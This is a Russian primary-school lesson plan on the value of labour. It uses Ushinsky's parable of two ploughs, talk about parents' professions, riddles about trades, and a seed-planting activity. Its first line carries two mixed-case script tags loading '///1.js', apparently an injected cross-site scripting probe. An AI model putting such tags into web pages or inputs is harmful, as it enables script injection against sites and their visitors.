<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Тема: «Трудом славен человек».
Цель: Создание условий для
осознания обучающимися ценности труда, его созидательной роли в жизни
человека..
Задачи: 1. Социокультурное
наполнение категории «Труд земной».
2. Развитие
самоутверждения при общении в двойках, четверках.
3. Воспитание
взаимопомощи и своевременности в труде, трудолюбия.
Оборудование: компьютер,»,
таблички с выдержками из толкового словаря, с названием темы урока,
с эпиграфом; стаканчики, почва, семена, вода, лопатки; таблички для
активного занятия; картинки по теме «Труд земной», выставка предметов труда
земного.
Подготовительная
работа с детьми:
предложить
детям подготовить небольшие рассказы, презентации на тему: «Профессии наших
родителей» по плану:
-Чем
занимаются ваши родители на работе?
-Кто
они по профессии?
Ход классного часа
I. Подготовительный этап.
1. Присоединение к теме.
- Ребята, уважаемые взрослые, давайте вместе
улыбнёмся доброму праздничному весеннему дню (солнышку) и продолжим
увлекательное путешествие к нашим Истокам.
2. Целеполагание.
- Тема нашего классного часа: «Трудом славен человек».
(
- Сегодня мы с вами поговорим о труде, о его
назначении в жизни человека, о качествах человека труда, и, конечно о
ценностях труда земного.
3. Проблемная ситуация.
- А начать разговор я хочу с чтения притчи К.Д.
Ушинского «Два плуга». Послушайте её очень внимательно.
Из одного и того же куска железа в
одной и той же мастерской были сделаны два плуга. Один из них попал в руки
земледельца и немедленно пошел в работу, а другой долго и совершенно бесполезно
провалялся в лавке купца.
Случилось через несколько времени, что оба земляка
опять встретились. Плуг, бывший у земледельца, блестел, как серебро, и был еще
лучше, чем в то время, как он только вышел из мастерской; плуг же, пролежавший
без всякого дела в лавке, потемнел и покрылся ржавчиной.
-Скажи, пожалуйста, отчего ты так блестишь?- спросил
заржавевший плуг у своего старого знакомца.
-От труда, мой милый,- отвечал тот. - А если ты заржавел и
сделался хуже, чем был, то потому, что все это время ты пролежал на боку,
ничего не делая.
4. Беседа по притче.
-Каким вы увидели плуг, который попал к земледельцу?
-Почему плуг, блестел, как серебро?
(Потому что он трудился, а труд украшает)
-Что случилось с плугом, который пролежал без дела?
(Потемнел и покрылся ржавчиной.)
- Кого подразумевает К.Д. Ушинский, говоря о плугах?
(Труженика и ленивого человека)
- Какой вывод можно сделать, прослушав притчу?
- Чему хотел научить вас автор?
(Нужно трудиться)
- Не зря говорят: «Пока железо в работе, его и ржа (ржавчина) не
берёт».
- Значит, для чего нужно трудиться?
(Чтобы стать краше.)
5. Беседа о труде в
семье.
- Уважаемые родители, а что такое труд?
(Работа на благо.)
- У каждого человека врождённая потребность в действии, в
активности. И эта активность должна приносить пользу.
- В Толковом словаре С.И. Ожегова такое объяснение: «Труд –
целесообразная деятельность человека, направленная на создание материальных и
духовных ценностей». (На доске)
- Уважаемые родители, а когда нужно начинать трудиться?
- А как вас в вашей семье приучали к труду?
- Дети, я знаю, что ваш основной труд – это учёба.
- А есть ли у вас дома какие – то обязанности?
- Помогаете ли вы своим родителям, бабушкам, дедушкам?
- Дети, а как трудятся в дружной семье?
- Как легче построить дом: одному или сообща?
(Один в поле не воин)
- В коллективном труде человек мужает как физически,
так и нравственно. От труда зависит его благополучие.
7. «Кто не работает, тот и не ест».
- Счастливы те люди, которые многое умеют делать своими
руками, и как несчастны и беспомощны те, которые ничему не научились.
Труду следует учиться всю жизнь.
Наши предки – люди, жившие до нас, - умели трудиться по совести, в
ладу с окружающей природой и друг с другом.
- Вы, наверное, слышали выражение «Кто не работает, тот не
ест».
- Что оно значит?
( Значит, трудиться должны все.)
- Многие из нас и не подозревали, что знаменитые слова, «Если
кто не работает, тот и не ешь», принадлежат ученику Иисуса Христа
апостолу Павлу
- Например, на Руси был всем известный царь Пётр
Первый (Слайд )
Он трудился вместе с работниками. Сначала сам
осваивал разные ремёсла, а потом обучал им других. А больше всего он любил
токарное дело и занимался им по нескольку часов в день.
8. О профессиях родителей.
- А что нужно для того, чтобы хорошо трудится?
(Научиться хорошо выполнять свою работу.)
- А что для этого нужно?
(Получить профессию)
- А что такое профессия?
(Определённый вид деятельности.)
- «Основной род занятий, трудовой деятельности», - сказано в
Толковом словаре С.И. Ожегова.
(На доске)
- Дети, а что вы знаете о профессиях своих родителей?
(Несколько ответов.)
9. О будущих профессиях.
- Незаметно пролетят годы, и вы будете выбирать профессию.
Учитель:
- Кем хотите стать вы, дети?
Поскорее
нам ответьте!
|
1 уч. — Я хочу шофёром быть. Грузы разные возить. 2 уч. — Я мечтаю о балете. Лучше нет его на свете. 3 уч. — Я хочу врачом стать классным. Буду всех лечить лекарством. Очень вкусным, как конфета. Съел его - болезней нету! 4 уч. — В красках я души не чаю. Стать художником мечтаю. Закажите мне портрет. Справлюсь я, сомнений нет! |
5 уч. — Вы со мной, друзья, не спорьте, Я хочу стать первым в спорте. Шайбу мне забить - пустяк, Я играю за "Спартак"!
6 уч. — Я хочу стать пианисткой. Замечательной артисткой. Музыка со мною с детства, Я люблю её всем сердцем.
7 уч. — Я мечтаю стать скорей Воспитателем детей. С ними петь, гулять, играть. Дни рожденья отмечать. 8 уч. Все профессии прекрасны. Все профессии важны. Знаем мы, что наши руки Будут Родине нужны! |
- Дети, какая же профессия самая важная?
(Все важны.)
- Правильно!
«Все работы - хороши!
Выбирай на вкус!»
( В.В.
Маяковский.)
- Л.Н. Толстой писал, что «стыдиться можно и должно не
какой-либо работы, хотя бы самой нечистой, а только одного: праздной жизни
- Я верю в то, что ваш труд будет приносить добро и радость.
II. Основной этап.
1. Подготовительный этап.
О труде земном
- Ребята, прежде, чем задать следующий вопрос, я предлагаю вам
отгадать загадки.
|
Ой, ты добрый молодец, Захромал мой жеребец. Ты подкуй его опять! - Отчего ж не подковать? Вот гвоздь, вот подкова. Раз – два и готово.
(Кузнец)
Занят важной он работой: Урожай – его забота, Чтоб сумели уродиться Рожь, овёс или пшеница.
(Агроном)
|
Он бревно отешет ловко, Стены сделает, навес. У него смолой спецовка, Как сосновый пахнет лес.
(Плотник.)
Коз, коров зовет, скликает, В свой витой рожок играет.
(Пастух.)
|
Летают пальцы птицами – Поток струится ситцевый. Летают пальцы пчёлками – Поток струится шёлковый.
(Ткачиха.) Её давно бурёнки знают, Всегда мычанием встречают И за её нелёгкий труд Всё молоко ей отдают.
(Доярка.)
|
- Чей труд стал основой многих профессий?
- Как же называется труд этих людей?
( Труд земной)
- Посмотрите на картины.
Они вам помогут увидеть, как трудились эти люди.
- Обратите внимание на нашу выставку.
- Расскажите, изделия каких мастеров вы увидели?
- В наше время эти замечательные ремёсла, которые стояли у
истоков российской цивилизации, продолжают развиваться.
Строятся, как и много веков назад, красивые деревянные
дома, изготавливается лёгкая фарфоровая и металлическая посуда, радует глаз
удобная нарядная одежда.
Вот это – плоды труда земного.
2. Активное занятие « Качества человека
труда». Работа в группах.
- Дети, каковы основные качества человека труда?
- Каким он должен быть?
- Подумайте сначала самостоятельно, потом посоветуйтесь друг с
другом.
- Отметьте только те слова в карточках, которые
отражают сущность человека труда.
|
Трудолюбие, честность, взаимопомощь, лень, добросовестность, сила, порядок, ловкость, равнодушие, терпение |
Отвечают представители групп.
3. Благодарность родителям.
- Дети, а как вы считаете, обладают ли такими
качествами ваши родители?
- А вы благодарны родителям за их труд?
- Скажите им слова благодарности.
(Я благодарен своим родителям за то, что они трудятся, чтобы у
меня было всё необходимое для жизни.)
4. Активное занятие «Семена Добра». Работа в группах.
- Дети, чтобы получилась хорошо любая работа, каким человеком нужно
быть?
(Трудолюбивым)
- Если вы хотите воспитать в себе это качество, возьмите на
вооружение лозунг: «Ни дня без доброго дела!»
- Предлагаю вам «Перечень добрых дел»
|
• Помощь старикам в хозяйственных делах (покупка продуктов, уборка жилища и др.) • Защита и помощь младшим. • Забота о родителях, помощь по дому. • Работа в библиотеке по «лечению» книг. • Посадка и охрана деревьев, кустарников, цветов. • Помощь одноклассникам в учении. • Забота о заболевшем товарище. • Помощь учителям на уроках. • Уборка класса и т. д. |
- А я вам и вашим родителям предлагаю посадить в нашем
классе семена «Добра» своими руками и проследить за тем, как они будут
прорастать и какие дадут плоды.
( На столах баночки с землёй, стаканчики, лопатки, вода, семена).
- Вы знаете много пословиц о труде. Выберете одну, которая
подходит по смыслу к вашей работе.
III. Заключительная часть.
- Ребята, какова тема нашего классного часа?
(Трудом славен человек)
- Почему так говорят?
- Что бы вы хотели посоветовать своим товарищам после нашего
классного часа?
- Мне хочется вам пожелать, чтобы ваши руки были умелыми,
трудолюбивыми, а сердце – добрым и умным.
Нитку вдеть для пальца – непосильный труд,
Но зато два пальца платьице сошьют,
Три в тетрадке нашей пишут хоть куда,
Десять – поле вспашут,
Строят города!
- А родителям хочется напомнить слова К. Д. Ушинского:
«Воспитывать детей надо не для счастья, а для труда – это и
принесет им счастье».